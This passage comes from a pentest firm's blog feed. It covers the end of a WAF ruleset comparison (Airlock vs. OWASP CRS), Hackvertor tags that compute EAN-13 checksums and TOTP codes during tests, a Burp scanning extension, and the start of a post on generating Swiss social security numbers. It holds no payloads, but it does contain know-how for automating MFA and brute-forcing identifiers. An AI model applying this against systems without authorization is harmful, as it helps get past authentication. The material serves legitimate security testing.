&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-14" name="rest_code_313e8462ce9641868a3fb75914512cae-14" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-14"&gt;&lt;/a&gt;            &amp;lt;Product InstituteID="AAA" Language="de"&amp;gt;AAA&amp;lt;/Product&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-15" name="rest_code_313e8462ce9641868a3fb75914512cae-15" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-15"&gt;&lt;/a&gt;            &amp;lt;OrderDetails&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-16" name="rest_code_313e8462ce9641868a3fb75914512cae-16" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-16"&gt;&lt;/a&gt;                &amp;lt;OrderType&amp;gt;AAA&amp;lt;/OrderType&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-17" name="rest_code_313e8462ce9641868a3fb75914512cae-17" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-17"&gt;&lt;/a&gt;                &amp;lt;OrderAttribute&amp;gt;AAA&amp;lt;/OrderAttribute&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-18" name="rest_code_313e8462ce9641868a3fb75914512cae-18" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-18"&gt;&lt;/a&gt;            &amp;lt;/OrderDetails&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-19" name="rest_code_313e8462ce9641868a3fb75914512cae-19" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-19"&gt;&lt;/a&gt;            &amp;lt;SecurityMedium&amp;gt;0000&amp;lt;/SecurityMedium&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-20" name="rest_code_313e8462ce9641868a3fb75914512cae-20" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-20"&gt;&lt;/a&gt;        &amp;lt;/static&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-21" name="rest_code_313e8462ce9641868a3fb75914512cae-21" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-21"&gt;&lt;/a&gt;        &amp;lt;mutable/&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-22" name="rest_code_313e8462ce9641868a3fb75914512cae-22" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-22"&gt;&lt;/a&gt;    &amp;lt;/header&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-23" name="rest_code_313e8462ce9641868a3fb75914512cae-23" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-23"&gt;&lt;/a&gt;    &amp;lt;body&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-24" name="rest_code_313e8462ce9641868a3fb75914512cae-24" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-24"&gt;&lt;/a&gt;        &amp;lt;DataTransfer&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-25" name="rest_code_313e8462ce9641868a3fb75914512cae-25" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-25"&gt;&lt;/a&gt;            &amp;lt;OrderData&amp;gt;AAA&amp;lt;/OrderData&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-26" name="rest_code_313e8462ce9641868a3fb75914512cae-26" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-26"&gt;&lt;/a&gt;        &amp;lt;/DataTransfer&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-27" name="rest_code_313e8462ce9641868a3fb75914512cae-27" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-27"&gt;&lt;/a&gt;    &amp;lt;/body&amp;gt;
&lt;a id="rest_code_313e8462ce9641868a3fb75914512cae-28" name="rest_code_313e8462ce9641868a3fb75914512cae-28" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_313e8462ce9641868a3fb75914512cae-28"&gt;&lt;/a&gt;&amp;lt;/ebicsUnsecuredRequest&amp;gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;While Airlock doesn't check file contents in-depth in general, it is &lt;a class="reference external" href="https://github.com/coreruleset/coreruleset/issues/2847"&gt;still an open issue for CRS&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="summary"&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;The above results show what went through the Airlock WAF. But after looking at the above results, everyone can agree that it's not easy to tell what that means exactly and what is the right thing to do. Should Airlock block more? Are those useful attack strings? We decided that we do not want to pick apart all of the payloads and argue about them. We provide them for you as-is, so you can draw your own conclusions.&lt;/p&gt;
&lt;p&gt;After talking to Ergon, they opened internal tickets and said they are going to look at certain things from the above list. We agree that certain payloads are not yet full attacks, for other payloads we were expecting Airlock to block more.&lt;/p&gt;
&lt;p&gt;For CRS, one of the two mentioned issues is fixed; the other is still open.&lt;/p&gt;
&lt;p&gt;We have seen that Airlock did not block certain tests from CRS. Overall, it gave the impression of resulting in fewer false positives, as it seems to rather allow than block legitimate users. On the other hand, if you are looking for Server Side Request Forgery (SSRF) protection by default in URLs (URLs in URLs), you have to actively configure that when using Airlock. The impression of more false positives with CRS is probably in the nature of the project and again: whoever uses CRS must modify it to fit their needs. For example, if you use CRS and have users in Germany, &lt;a class="reference external" href="https://github.com/coreruleset/coreruleset/issues/3644"&gt;users with first name Axel could get pretty upset&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Depending on your preference, you can tweak your WAF to reduce either false positives or false negatives. Some people prefer a WAF without false negatives because otherwise it can be bypassed. Other people will prefer fewer false positives because they are afraid to block legitimate cases or do not want to invest the time to configure every use case. When trying to argue in either direction, we seem to run in circles.&lt;/p&gt;
&lt;p&gt;Are you upset about any of our statements above? See, we told you it's a controversial topic to talk about.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="thanks"&gt;
&lt;h2&gt;Thanks&lt;/h2&gt;
&lt;p&gt;We would like to thank our customer who was open to let us look at the WAF in a whitebox approach and who agreed to do a publication of the results. Thanks goes out to the OWASP CRS team who responded to all our questions on Slack. Thanks also to Ergon for the call and feedback.&lt;/p&gt;
&lt;aside class="footnote-list brackets"&gt;
&lt;aside class="footnote brackets" id="footnote-1" role="doc-footnote"&gt;
&lt;span class="label"&gt;&lt;span class="fn-bracket"&gt;[&lt;/span&gt;&lt;a role="doc-backlink" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#footnote-reference-1"&gt;1&lt;/a&gt;&lt;span class="fn-bracket"&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;p&gt;42&lt;/p&gt;
&lt;/aside&gt;
&lt;/aside&gt;
&lt;/section&gt;</description><category>Airlock</category><category>CRS</category><category>OWASP</category><category>Pentesting</category><category>WAF</category><category>Web</category><guid>https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/</guid><pubDate>Wed, 11 Dec 2024 12:00:00 GMT</pubDate></item><item><title>Hackvertor EAN-13 and TOTP tags for web-application penetration testing with Burp</title><link>https://www.pentagrid.ch/en/blog/hackervertor-ean13-and-totp-tags-for-web-application-penetration-testing-with-burp/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;p&gt;Hackvertor is a &lt;a class="reference external" href="https://hackvertor.co.uk/"&gt;standalone tool&lt;/a&gt; and more importantly for us an &lt;a class="reference external" href="https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100"&gt;extension for the penetration testing tool Portswigger Burp Suite&lt;/a&gt; by &lt;a class="reference external" href="https://garethheyes.co.uk/"&gt;Gareth Heyes&lt;/a&gt; of the Portswigger Research team, which performs dynamic data conversions. For example, the tool can be used to encode data fields as Base64 before Burp sends a HTTP POST request to a server. This happens automatically and there is no need to manually convert anything or copy and pasting between different windows.&lt;/p&gt;
&lt;p&gt;We had an example in our blog, where we &lt;a class="reference external" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/"&gt;generated Swiss social security numbers for a pentest and explained how to program custom Hackvertor tags&lt;/a&gt;. There are all kinds of tags already available inside Hackvertor and users can also code their own custom tags. Nowadays Hackvertor has it's own &lt;a class="reference external" href="https://github.com/hackvertor/hackvertor/tree/master/tag-store"&gt;public tag store&lt;/a&gt;, where users can submit custom tags. Pentagrid provided two custom tags that made it into the Hackvertor tag store. One tag is for calculating the &lt;a class="reference external" href="https://en.wikipedia.org/wiki/International_Article_Number#Check_digit"&gt;check-digit of EAN-13 numbers&lt;/a&gt; and another is for &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Time-based_one-time_password"&gt;Time-based one-time password (TOTP)&lt;/a&gt; calculation.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;p&gt;As already explained in our blog post &lt;a class="reference external" href="https://www.pentagrid.ch/en/blog/teaching_burp_a_new_http_transport_encoding/"&gt;Teaching Burp a new HTTP Transport Encoding&lt;/a&gt;, being able to customise Burp like this is a helpful instrument to automate and increase test coverage during a security analysis.&lt;/p&gt;
&lt;section id="ean-13-hackvertor-tag"&gt;
&lt;h2&gt;EAN-13 Hackvertor tag&lt;/h2&gt;
&lt;p&gt;EAN is the European Article Number, a standard to encode article numbers. And while it became more international than European and is now called Global Trade Item Number, it is often still referred as EAN-13. Swiss AHV/AVS numbers use the check-sum calculation from EAN-13 and store the check-sum as the 13th digit.&lt;/p&gt;
&lt;p&gt;The custom tag code from our &lt;a class="reference external" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/"&gt;blog post&lt;/a&gt; was made available as a &lt;a class="reference external" href="https://github.com/hackvertor/hackvertor/pull/112/"&gt;Hackvertor tag in the tag store&lt;/a&gt;. To use the EAN-13 tag, see the following two examples:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_b83e705325f24e94b5a2143fdd9791ec-1" name="rest_code_b83e705325f24e94b5a2143fdd9791ec-1" href="https://www.pentagrid.ch/en/blog/hackervertor-ean13-and-totp-tags-for-web-application-penetration-testing-with-burp/#rest_code_b83e705325f24e94b5a2143fdd9791ec-1"&gt;&lt;/a&gt;# the "append" parameter can be set to 0 or 1.
&lt;a id="rest_code_b83e705325f24e94b5a2143fdd9791ec-2" name="rest_code_b83e705325f24e94b5a2143fdd9791ec-2" href="https://www.pentagrid.ch/en/blog/hackervertor-ean13-and-totp-tags-for-web-application-penetration-testing-with-burp/#rest_code_b83e705325f24e94b5a2143fdd9791ec-2"&gt;&lt;/a&gt;&amp;lt;@_ean13(1,'[...]')&amp;gt;756.9217.0769.8&amp;lt;/@_ean13&amp;gt; # -&amp;gt; 756.9217.0769.85
&lt;a id="rest_code_b83e705325f24e94b5a2143fdd9791ec-3" name="rest_code_b83e705325f24e94b5a2143fdd9791ec-3" href="https://www.pentagrid.ch/en/blog/hackervertor-ean13-and-totp-tags-for-web-application-penetration-testing-with-burp/#rest_code_b83e705325f24e94b5a2143fdd9791ec-3"&gt;&lt;/a&gt;&amp;lt;@_ean13(0,'[...]')&amp;gt;756.9217.0769.8&amp;lt;/@_ean13&amp;gt; # -&amp;gt; 5
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The omission [...] is the place where a so-called Hackvertor code execution key must be inserted. The Hackvertor Burp extension will add the code execution key automatically, if the tags are used and prepared in the Hackvertor tab in the Burp UI. The execution key is a random 40-hex character string that prevents websites processed by Burp from triggering harmful actions. The code execution key is unique to your Burp application start. Only code execution tags (with custom code such as the ones in the tag store) require code execution keys.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="totp-hackvertor-tag"&gt;
&lt;h2&gt;TOTP Hackvertor tag&lt;/h2&gt;
&lt;p&gt;Pentagrid also implemented a TOTP tag. This time-based one-time password is used for second factor authentication. If such a second factor is required during the penetration test, this Hackvertor tag can be used. The code was recently &lt;a class="reference external" href="https://github.com/hackvertor/hackvertor/pull/121"&gt;added to the tag store&lt;/a&gt;. To use the TOTP tag, extract the seed from the QR code that was handed over to you to scan it with an authenticator app. The command line tool &lt;cite&gt;zbarimg&lt;/cite&gt; can dump QR code content from an image file:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_a537a9cac8cb42efbc062c990c6c2330-1" name="rest_code_a537a9cac8cb42efbc062c990c6c2330-1" href="https://www.pentagrid.ch/en/blog/hackervertor-ean13-and-totp-tags-for-web-application-penetration-testing-with-burp/#rest_code_a537a9cac8cb42efbc062c990c6c2330-1"&gt;&lt;/a&gt;% zbarimg ~/Authenticator-QR-Code.png
&lt;a id="rest_code_a537a9cac8cb42efbc062c990c6c2330-2" name="rest_code_a537a9cac8cb42efbc062c990c6c2330-2" href="https://www.pentagrid.ch/en/blog/hackervertor-ean13-and-totp-tags-for-web-application-penetration-testing-with-burp/#rest_code_a537a9cac8cb42efbc062c990c6c2330-2"&gt;&lt;/a&gt;QR-Code:otpauth://totp/SomeOrg:something?secret=MYSEEDMYSEED2342&amp;amp;issuer=SomeOrg
&lt;a id="rest_code_a537a9cac8cb42efbc062c990c6c2330-3" name="rest_code_a537a9cac8cb42efbc062c990c6c2330-3" href="https://www.pentagrid.ch/en/blog/hackervertor-ean13-and-totp-tags-for-web-application-penetration-testing-with-burp/#rest_code_a537a9cac8cb42efbc062c990c6c2330-3"&gt;&lt;/a&gt;scanned 1 barcode symbols from 1 images in 0.05 seconds
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The tag can then be used analogue to this example:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_edbc1bfdeeca4d049640c71ae105314e-1" name="rest_code_edbc1bfdeeca4d049640c71ae105314e-1" href="https://www.pentagrid.ch/en/blog/hackervertor-ean13-and-totp-tags-for-web-application-penetration-testing-with-burp/#rest_code_edbc1bfdeeca4d049640c71ae105314e-1"&gt;&lt;/a&gt;&amp;lt;@_totp('[...]')&amp;gt;MYSEEDMYSEED2342&amp;lt;/@_totp&amp;gt; # -&amp;gt; 797723
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;There are several parameters for TOTP. In practise, the tag only supports the commonly used parameters SHA1, 30 seconds, 6 digits. Let us know if you find a different configuration in the wild, it should be fairly simple to adapt the custom tag in that case.&lt;/p&gt;
&lt;p&gt;In order to access the tag store, just go to the menu entry "View tag store" from the Hackvertor menu in Burp and install the plugins you want. Then also make sure to allow code execution tags via the menu entry "Allow code execution tags" from the Hackvertor menu in Burp.&lt;/p&gt;
&lt;a class="reference external image-reference" href="https://www.pentagrid.ch/images/202412_hackvertor-tag-store.png"&gt;
&lt;img alt="Hackvertor tag store and installed custom tags in the background." class="align-center" src="https://www.pentagrid.ch/images/202412_hackvertor-tag-store.thumbnail.png"&gt;
&lt;/a&gt;
&lt;p&gt;Update 2025-06-04: An update of Hackvertor in 2025 changed the style of closing elements from &lt;cite&gt;&amp;lt;@/name&amp;gt;&lt;/cite&gt; to &lt;cite&gt;&amp;lt;/@name&amp;gt;&lt;/cite&gt;. Therefore, we updated the post.&lt;/p&gt;
&lt;/section&gt;</description><category>Burp</category><category>Hackvertor</category><category>Multi-Factor Authentication</category><category>OWASP</category><category>Pentesting</category><category>Portswigger</category><guid>https://www.pentagrid.ch/en/blog/hackervertor-ean13-and-totp-tags-for-web-application-penetration-testing-with-burp/</guid><pubDate>Fri, 06 Dec 2024 08:42:00 GMT</pubDate></item><item><title>Improving web application security testing with the Pentagrid Scan Controller</title><link>https://www.pentagrid.ch/en/blog/improving-web-application-security-testing-with-pentagrid-scan-controller/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;p&gt;We're back with another helpful Portswigger Burp Pro Proxy extension that you shouldn't miss if you do web application security analysis. This time the wasteful approach of Burp's feature "Actively scan all in-scope traffic" triggered the development of a new extension called Pentagrid Scan Controller, because there are several improvements possible and desirable.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;p&gt;For example, Burp's default scanner actively scans static resources on the server, which seems useless in many cases, so the extension will not do that by default. But the power of the extension lies in all the configuration, you can do yourself to improve the automatic active scanning by deciding what should be scanned and what shouldn't. It also takes the entire concept one level higher up, because you define what you think are interesting HTTP requests and what not. This allows the extension to show you a ranked view of requests and as a tester you now know where to spend the rest of your manual testing time after Burp's scanner ran. Another improvement is in the area of repeatability of requests. The extension will figure out if a requests is repeatable at all (because that's necessary to do proper scanning). If a request is not repeatable it will be made repeatable or ignored (you can see the decision in the UI), because there is usually no point in scanning non-repeatable requests.&lt;/p&gt;
&lt;p&gt;You can head over to the &lt;a class="reference external" href="https://github.com/pentagridsec/PentagridScanController"&gt;Pentagrid Scan Controller github page&lt;/a&gt;, where the extension was published as open source. Visit the official &lt;a class="reference external" href="https://portswigger.net/bappstore/e3dde890bdce4ae4bcef0d97019f5d46"&gt;Burp BApp store page of Pentagrid Scan Controller&lt;/a&gt; or load it directly inside Burp Pro via the BApp store. We recommend to watch the &lt;a class="reference external" href="https://www.youtube.com/watch?v=aFMTzFfX1Z4"&gt;area41.io talk of Tobias Ospelt about improving web application scanning&lt;/a&gt; which explains the issues of Burp scanner, what the extension will improve and how you can use the extension. If you want to skip to the extension part directly, you can watch the &lt;a class="reference external" href="https://youtu.be/aFMTzFfX1Z4?t=1460"&gt;talk from 24:20 min&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The extension version 0.1 already has many features, such as:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Scanning only in-scope items&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Different deduplication techniques of items already scanned&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Ignoring requests if the URL or the entire request matches a certain regex&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Delays before repeatability checks or scans, which allows you to browse the website for a while without being disturbed. Additionally, if a request turns non-repatable after 10 seconds it's better not to scan it at all and let you know.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Scanning requests that are not repeatable (not recommended)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Building your own "interesting score" by URL file extension, HTTP status code, HTTP method and number of parameters. Define the score values.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Changing the heuristic keywords to figure out if a request is repeatable or not&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Reimplemented JSON, XML and multipart injection. This was necessary, because extensions in Burp can currently not set a parameter value of JSON bodies through the official Burp API.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Added Non-Standard-HTTP header and URL path injection&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Thread pooling to make sure Burp Proxy is never waiting for the extension (performance)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Make requests repeatable by using Hackvertor tags and show it in the UI. This means you can reuse the repeatable request in other tools such as the Burp Repeater.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The usual Burp extender API workarounds such as project-level storage.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Hiding items in the table&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We're currently working on a new version of the extension where the following things will change:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;New feature: Ignoring requests if the response matches a certain regex&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;New feature: Influence "interesting score" by response content-type (disabled by default as URL file extensions are usually sufficient)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;New feature: To declutter the UI, most options will be hidden by default and there is a button to toggle advanced options.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;New feature: The extension UI is divided into more tabs which group options together.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;New feature: Divide repeatability reasoning and scan reasoning in the UI&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We are also going to add additional scan capabilities (like ActiveScan++), for example:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Add non-standard HTTP headers as insertion points&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Add URL paths as insertion points (often used as parameters in REST APIs)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Add Bearer Authorization HTTP header as an insertion point, this is important because Burp's new scanner checks for JSON Web Tokens (JWT) and is not yet checking the default "Authorization: Bearer ey[...]" location.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Add Basic Authorization HTTP header as an insertion point (username:password in base64)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Automated Smart Content Discovery as part of scanning, meaning automated &lt;a class="reference external" href="https://github.com/hannob/snallygaster"&gt;Snallygaster&lt;/a&gt; checks are performed per directory.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;a class="reference external image-reference" href="https://www.pentagrid.ch/images/202208_pentagrid_Scan_controller_snallygaster.png"&gt;
&lt;img alt="Scanner options showing advanced smart content discovery options." class="align-center" src="https://www.pentagrid.ch/images/202208_pentagrid_Scan_controller_snallygaster.thumbnail.png"&gt;
&lt;/a&gt;
&lt;p&gt;So stay tuned for the next release.&lt;/p&gt;
&lt;!-- We are hiring! Pentagrid is looking for `Junior and Senior IT Security Analysts in Berlin and Buchs, St. Gallen &lt;link://slug/career&gt;`_. --&gt;</description><category>Burp</category><category>Conference</category><category>Extension</category><category>OWASP</category><category>Pentesting</category><category>Scanning</category><category>Web</category><guid>https://www.pentagrid.ch/en/blog/improving-web-application-security-testing-with-pentagrid-scan-controller/</guid><pubDate>Tue, 23 Aug 2022 12:42:00 GMT</pubDate></item><item><title>Burp Suite  - solving E-mail and SMS TAN multi-factor authentication with Hackvertor custom tags</title><link>https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;p&gt;Why bother investing time to automate work when doing IT security testing? On one hand,
manual testing is a tedious work, where you spend time doing vulnerability tests that
could be done by a machine. On the other hand, letting a machine decide fully on its
own on how to do tests will mostly result in the machine doing nothing useful. This
is especially true for security testing, where manually checking every parameter for
injection attacks is very laborious and automated security scanners go on scanning
for hours while a human would have aborted the scan for various reasons. However,
if we teach automated tools to do things correctly each time, we get the sweet middle
spot of semi-automated security testing, where the tools do the automatic and systematic
security tests and the analyst can focus on the parts of a security test, where the tools
are likely insufficient.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://portswigger.net"&gt;Burp Suite Pro&lt;/a&gt; is one of the main tools to do all kind of
HTTP related security analysis and that supports a semi-automated testing. But now
and then it lacks certain features. Burp
extensions can again add some of them. In this post we would like to show how to use
one of the most powerful extensions, &lt;a class="reference external" href="https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100"&gt;Hackvertor&lt;/a&gt;
by &lt;a class="reference external" href="https://twitter.com/garethheyes"&gt;Gareth Hayes&lt;/a&gt; and its relatively new feature
of Python scripting.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;section id="use-hackvertor-to-generate-swiss-social-security-numbers"&gt;
&lt;h2&gt;Use Hackvertor to generate Swiss social security numbers&lt;/h2&gt;
&lt;p&gt;Let's start with a simple example. Imagine you are security testing a website and you
found an HTTP-API that expects the de facto Swiss social security number &lt;a class="brackets" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#ahv" id="footnote-reference-1" role="doc-noteref"&gt;&lt;span class="fn-bracket"&gt;[&lt;/span&gt;1&lt;span class="fn-bracket"&gt;]&lt;/span&gt;&lt;/a&gt; as a
parameter. Nearly every adult in Switzerland has such a number. After
researching, you find out this unique number always starts with 756, followed by two
times four random characters and ending with another two random characters like this:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_0a10fc73f5214b6cbc6e043af6c7ce84-1" name="rest_code_0a10fc73f5214b6cbc6e043af6c7ce84-1" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_0a10fc73f5214b6cbc6e043af6c7ce84-1"&gt;&lt;/a&gt;756.9217.0769.85
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If you would just like to brute-force random social security numbers in HTTP requests,
you could use Burp's Intruder feature that allows you to try generate different numbers.
But what if you would like to send a new random number each time you send the request in
Burp's Repeater? This is where Hackvertor can be used. In Hackvertor's UI you can search
for tags and you should quickly find the &lt;code class="docutils literal"&gt;random_num&lt;/code&gt; tag. The purpose is simply to
generate a random number as shown in the input and output field in the following picture:&lt;/p&gt;
&lt;a class="reference external image-reference" href="https://www.pentagrid.ch/images/202103_burp_hackvertor_1_hackvertor_randomnum.png"&gt;
&lt;img alt="Screenshot of the Burp Hackvertor showing the random_num Hackvertor tag in the input window and and a random number in the output widget." class="align-center" src="https://www.pentagrid.ch/images/202103_burp_hackvertor_1_hackvertor_randomnum.thumbnail.png" style="width: 100%;"&gt;
&lt;/a&gt;
&lt;p&gt;So generating a new random social security number is as easy as pasting the following value
into an HTTP request in Burp's Repeater:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_9777fa44ad7c42efb43ddc77ee36fbaf-1" name="rest_code_9777fa44ad7c42efb43ddc77ee36fbaf-1" href="https://www.pentagrid.ch/en/blog/burp-suite-hackvertor-custom-tags-email-sms-tan-multi-factor-authentication/#rest_code_9777fa44ad7c42efb43ddc77ee36fbaf-1"&gt;&lt;/a&gt;756.&amp;lt;@random_num_0(4) /&amp;gt;.&amp;lt;@random_num_1(4) /&amp;gt;.&amp;lt;@random_num_2(2) /&amp;gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;For example, the following request can be created in the Burp Repeater:&lt;/p&gt;
&lt;a class="reference external image-reference" href="https://www.pentagrid.ch/images/202103_burp_hackvertor_2_repeater_hackvertor_randomnum.png"&gt;
&lt;img alt="Screenshot of the Burp Repeater showing several random_num Hackvertor tags in a HTTP request to create a Swiss social security number." class="align-center" src="https://www.pentagrid.ch/images/202103_burp_hackvertor_2_repeater_hackvertor_randomnum.thumbnail.png" style="width: 700px;"&gt;
&lt;/a&gt;
&lt;p&gt;However, it will not be sent out from Burp as-is and the tags will be replaced by
Hackvertor. How does an example request look like when it leaves Burp? This can be
observed in the Logger++ extension (another very helpful extension you should use)
as shown in the following picture:&lt;/p&gt;
&lt;a class="reference external image-reference" href="https://www.pentagrid.ch/images/202103_burp_hackvertor_3_loggerpp_replaced_values.png"&gt;
&lt;img alt="Screenshot of the Burp Logger++ logging widget showing a HTTP request with a Swiss social security number generated by the Hackvertor tags that have been inserted into the Burp Repeater." class="align-center" src="https://www.pentagrid.ch/images/202103_burp_hackvertor_3_loggerpp_replaced_values.thumbnail.png" style="width: 700px;"&gt;
&lt;/a&gt;
&lt;p&gt;This was just an easy example to start. But the truth is, Swiss social security numbers
are not fully random and the last character is an EAN13 checksum over the other characters.
And instead of sending incorrect social security numbers to a website, how about
calculating that checksum in Hackvertor? That's where custom Hackvertor code execution
tags come into play. You can write them in JavaScript or Python, we'll use Python here.
Hackvertor code execution tags allow you to write code that takes an input (passed in
the variable &lt;code class="docutils literal"&gt;input&lt;/code&gt;, that's whatever is put between the tags) and define the &lt;code class="docutils literal"&gt;output&lt;/code&gt;
variable. A no-transformation example looks like this:&lt;/p&gt;
&lt;a class="reference external image-reference" href="https://www.pentagrid.ch/images/202103_burp_hackvertor_4_hackvertor_no_transformation.png"&gt;
&lt;img alt="Screenshot of the Hackvertor widget showing a dialog for the creation of a custom tag. You select Python as language and can enter program code into a text area. Currently the text area just assigns the input to the output." class="align-center" src="https://www.pentagrid.ch/images/202103_burp_hackvertor_4_hackvertor_no_transformation.thumbnail.png" style="width: 400px;"&gt;
&lt;/a&gt;
&lt;p&gt;So here's a little Python one-liner that calculates the checksum number from the nine
